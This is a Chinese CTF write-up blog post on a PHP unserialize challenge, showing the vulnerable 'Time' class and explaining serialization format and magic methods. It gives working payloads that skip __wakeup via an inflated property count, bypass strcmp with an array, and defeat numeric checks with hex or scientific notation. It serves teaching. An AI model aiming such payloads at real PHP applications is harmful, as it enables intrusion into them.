Please don't stop rua 233333

新博客:https://wywwzjj.top/

原题网址

<?php
class Time{
	public $flag = xxxxx;
	public $truepassword = xxxxx;
	public $time;
    public $password;
	public function construct($tt, $pp) {
        $this->time = $tt;
        $this->password = $pp;
    }
	function __destruct(){
		if(!empty($this->password)) {
			if(strcmp($this->password,$this->truepassword)==0){
				echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
				if(!empty($this->time)){
					if(!is_numeric($this->time)){
						echo 'Sorry.<br>';
						show_source(__FILE__);
					}
					else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
						echo 'you need a bigger time.<br>';
					}
					else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
						echo 'you need a smaller time.<br>';
					}
					else{
						sleep((int)$this->time);
						var_dump($this->flag);
					}
					echo '<hr>';
				}
				else{
					echo '<h1>you have no time!!!!!</h1><br>';
				}
			}
			else{
				echo '<h1>Password is wrong............</h1><br>';
			}
		}
		else{
			echo "<h1>Please input password..........</h1><br>";
		}
	}
	function __wakeup(){
		echo 'hello hacker,I have changed your password and time, rua!';
	}
}

if(isset($_GET['rua'])){
    //$test = new Time(1.275523920, array("a"));
	$rua = $_GET['rua'];
	@unserialize($rua);
}
else{
	echo "<h1>Please don't stop rua 233333</h1><br>";
}

稍稍记录一下,简单的反序列化。

何为序列化?

序列化对象 - 在会话中存放对象 ¶
所有 php 里面的值都可以使用函数 serialize() 来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回 php 原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。

序列化字符串格式:变量类型:变量长度:变量内容
例如序列化对象字符串:

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

PHP 中的魔术方法(Magic methods)

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__toString()__invoke()__set_state()__clone()__debugInfo() 

这里我们着重关注几个:

  • __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • __destruct():当对象被销毁时会自动调用。
  • __sleep():serialize() 会检查类中是否存在一个魔术方法 __sleep()。若存在,该方法会先被调用,再执行序列化操作
  • __wakeup():unserialize() 会检查是否存在一个 __wakeup() 方法。若存在,则先调用 __wakeup 方法,预先准备对象需要的资源。
  • __toString():用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

PHP 有个 Bug,该漏洞可以概括为:

当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过 __wakeup 函数的执行

rua=O:4:"Time":3:{

注意上面的 3 ,是属性数量,本来2个就够了。

16进制 0x 开头在强制转换中出现问题,导致转换成0

payload 如下:

rua=O:4:%22Time%22:4:{s:4:%22time%22;s:10:%220x4c06f350%22;s:8:%22password%22;a:2:{i:0;s:1:%22a%22;i:1;s:1:%22b%22;}}

还有一种办法:科学计数法绕过 sleep()

rua=O:4:"Time":3:{s:4:"time";s:5:"1.3e9";
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值